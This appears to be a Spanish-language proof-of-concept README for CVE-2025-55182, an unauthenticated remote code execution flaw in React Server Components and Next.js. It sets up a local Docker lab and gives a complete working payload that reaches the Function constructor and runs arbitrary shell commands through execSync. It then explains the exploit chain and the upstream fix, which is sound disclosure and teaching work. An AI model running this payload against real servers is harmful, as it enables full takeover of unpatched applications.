
Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight.
CVE-2025-55182 es una de las vulnerabilidades de framework web más extendidas en 2025. React Server Components (RSC) ya es la arquitectura dominante en aplicaciones Next.js modernas, y una gran cantidad de proyectos estándar creados con create-next-app están afectados, sin necesidad de código personalizado para su explotación.
| Elemento | Contenido |
|---|---|
| ID CVE | CVE-2025-55182 |
| También conocido como | React2Shell |
| Tipo de vulnerabilidad | Ejecución remota de código no autenticada (Unauthenticated RCE); CWE-502 Deserialización de datos no confiables (Deserialization of Untrusted Data) [3] |
| Puntuación CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Paquetes afectados | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Versiones afectadas | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 en adelante, 15.x, 16.x |
| Complejidad del ataque | Muy baja (una única petición HTTP POST) |
| ¿Requiere autenticación? | No |
Usar una versión vulnerable (16.0.6) para crear la aplicación Next:
pnpm create [email protected] next-app --yes
En next-app/app/, crear actions.ts marcado como Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
En la página principal (por ejemplo, app/page.tsx), añadir un formulario cuyo action apunte a testAction e incluya al menos un campo (por ejemplo, un hidden input).
Next.js generará en el HTML de ese formulario un hidden input con nombre
$ACTION_ID_<40 caracteres hex>; el PoC extraerá este ID de la página principal mediante una expresión regular.
El proyecto incluye next-app/Dockerfile y docker-compose.yml que se pueden usar para construir y ejecutar la aplicación Next, siguiendo el ejemplo oficial [8] para su redacción.
Ejecutar en la raíz del proyecto:
docker compose up --build -d
La aplicación Next estará accesible en http://localhost:3000.
Una vez finalizado el PoC, eliminar completamente el entorno Docker:
docker compose down -v
Al ejecutar el PoC, el script obtiene la página principal y extrae el ID mediante la expresión regular \$ACTION_ID_([a-f0-9]{40})/. Ejemplo:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Instalar dependencias en la raíz del proyecto y ejecutar:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Fragmento clave del código:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// manejar timeout o error
}
Ejemplo para escribir un archivo en el host objetivo:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec o a través de Docker Desktop.La vulnerabilidad reside en el mecanismo de deserialización del protocolo Flight de React (RSC Flight Deserializer). Este mecanismo se encarga de transmitir el estado de los componentes React entre servidor y cliente, pero su flujo de procesamiento presenta un grave problema de límite de confianza.
El protocolo React Flight es el formato de intercambio (wire format) que React utiliza para Server Components y Server Actions: serializa el árbol de componentes, parámetros de funciones, etc., en un flujo de chunks representado en JSON, y establece referencias entre chunks mediante
$número,$número:clave, permitiendo al servidor reconstruir valores completos de JavaScript.
Atacante envía HTTP POST malicioso
↓
[Fase 1] Crear un objeto con autorreferencia cíclica (Self-referential loop)
↓
[Fase 2] Engañar al motor JavaScript para que llame a una función controlada por el atacante
↓
[Fase 3] Inyectar datos maliciosos para desencadenar el flujo de inicialización de Flight
↓
[Fase 4] Mediante el Blob Handler llamar al constructor Function
↓
Ejecución de JavaScript arbitrario en el servidor (RCE)
Las Server Functions de React (en Next.js, Server Actions) serializan los datos que el frontend envía al backend mediante el protocolo React Flight en "trozos" (chunks), y luego los envían como datos de formulario (form data).
Las ventajas de este diseño incluyen:
Los chunks pueden referenciarse entre sí, por ejemplo:
["$1"] (referencia al bloque 1){"object":"fruit","name":"$2:fruitName"} (referencia a fruitName del bloque 2){"fruitName":"cherry"}El servidor lo interpreta como: { object: 'fruit', name: 'cherry' }. Es decir, el protocolo permite usar $número:clave para apuntar a propiedades de otros chunks y luego combinarlos en el objeto JavaScript final.
En la implementación anterior a la corrección, al analizar estas referencias no se verificaba estrictamente si la clave realmente existía en el objeto mismo, por lo que un atacante podía leer propiedades de la cadena de prototipos (prototype) del objeto mediante referencias.
Por ejemplo, se podía construir el siguiente payload:
["$1:__proto__:constructor:constructor"]{"x":1}Cuando el servidor analiza "__proto__ → constructor → constructor" del chunk 1, obtiene el constructor de Function ([Function: Function]), es decir, el constructor nativo que crea funciones a partir de cadenas de texto. En otras palabras: a través de una cadena de referencias indebida, se puede obtener Function en el servidor y ejecutar cadenas como código.
Cuando Next.js recibe el formulario, utiliza decodeReplyFromBusboy para reconstruir los chunks en un valor y luego hace await sobre ese valor.
En JavaScript, si un objeto tiene un método .then, se considera thenable; al hacer await se invoca ese .then. Por lo tanto, si se logra que el .then del "resultado decodificado" apunte a una función controlada por el atacante (por ejemplo, el constructor Function), al hacer await se ejecutará esa lógica. El siguiente paso del ataque es: construir un objeto que, tras la decodificación, sea un thenable, y establecer su .then en el punto de llamada deseado (gadget de llamada).
Usar $@0 para referenciar el "chunk original"
En el protocolo, $@número significa "tomar el contenido original del bloque N, sin seguir analizándolo". Por lo tanto, se puede hacer que el chunk 1 sea "$@0", de modo que el proceso de análisis lea la representación original del "chunk 0 mismo".
Apuntar el .then del chunk 0 al prototipo de Chunk
Si el chunk 0 es un objeto con aspecto {"then": "$1:__proto__:then", ...} y el chunk 1 es "$@0", al analizarlo se asigna el .then del chunk 0 a Chunk.prototype.then (en el protocolo Flight, Chunk es un thenable). De esta forma, cuando Next.js haga await sobre el resultado decodificado, entrará en la lógica .then de Chunk.
Desencadenar initializeModelChunk
En Chunk.prototype.then, si el status de ese "chunk falso" es "resolved_model", se entra en . Aquí se analiza el del chunk como JSON y se realiza un proceso de "revivificación" sobre el objeto resultante, que maneja varios prefijos especiales (por ejemplo, referencias blob que comienzan con ).
React corrigió esta vulnerabilidad en el PR #35277 [9] (commit e2fd5dc [10]), con dos cambios principales:
Limitar la resolución de propiedades para que no recorra la cadena de prototipos
En la lógica de resolución de referencias a chunks (como en requireModule), se modificó para que primero verifique con hasOwnProperty si la clave realmente existe en el objeto mismo; si no, devuelve undefined, evitando así obtener constructor desde __proto__ y otras propiedades que no deberían exponerse. Este cambio se aplicó a varios módulos relacionados con Flight (como ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack y las configuraciones correspondientes para Parcel/Turbopack), cortando la cadena de explotación que permitía obtener el constructor Function → construir un thenable → disparar el gadget get para ejecutar código arbitrario.
Manejo de errores en decodeReplyFromBusboy
Se añadieron bloques try/catch en el análisis de los datos del formulario (resolveField, resolveFileComplete, etc.), de modo que si el análisis lanza una excepción, se llama a busboyStream.destroy(error), propagando el error correctamente y evitando que el stream quede en un estado inconsistente, reduciendo la superficie de explotación en caso de errores de análisis.
initializeModelChunkvalue$BPunto de llamada: _response._formData.get(_prefix + id)
Al procesar el prefijo $B, el programa ejecuta:
response._formData.get(response._prefix + algún_id).
Si en el chunk falso se controla _response para establecer _formData y _prefix, y se apunta _formData.get al constructor Function, y _prefix se configura como la cadena de código a ejecutar, esa línea se convierte en:
Function("nuestro código" + "0")
Es decir, "crea una función a partir de una cadena". Esta función será el valor de retorno del .then de ese chunk, y en la misma cadena de promesas se invocará mediante await, ejecutando así nuestro código en el servidor.
RCE real
Si se reemplaza "nuestro código" por, por ejemplo:
process.mainModule.require('child_process').execSync('comando del sistema a ejecutar');
se logra Ejecución Remota de Código (RCE) en el servidor.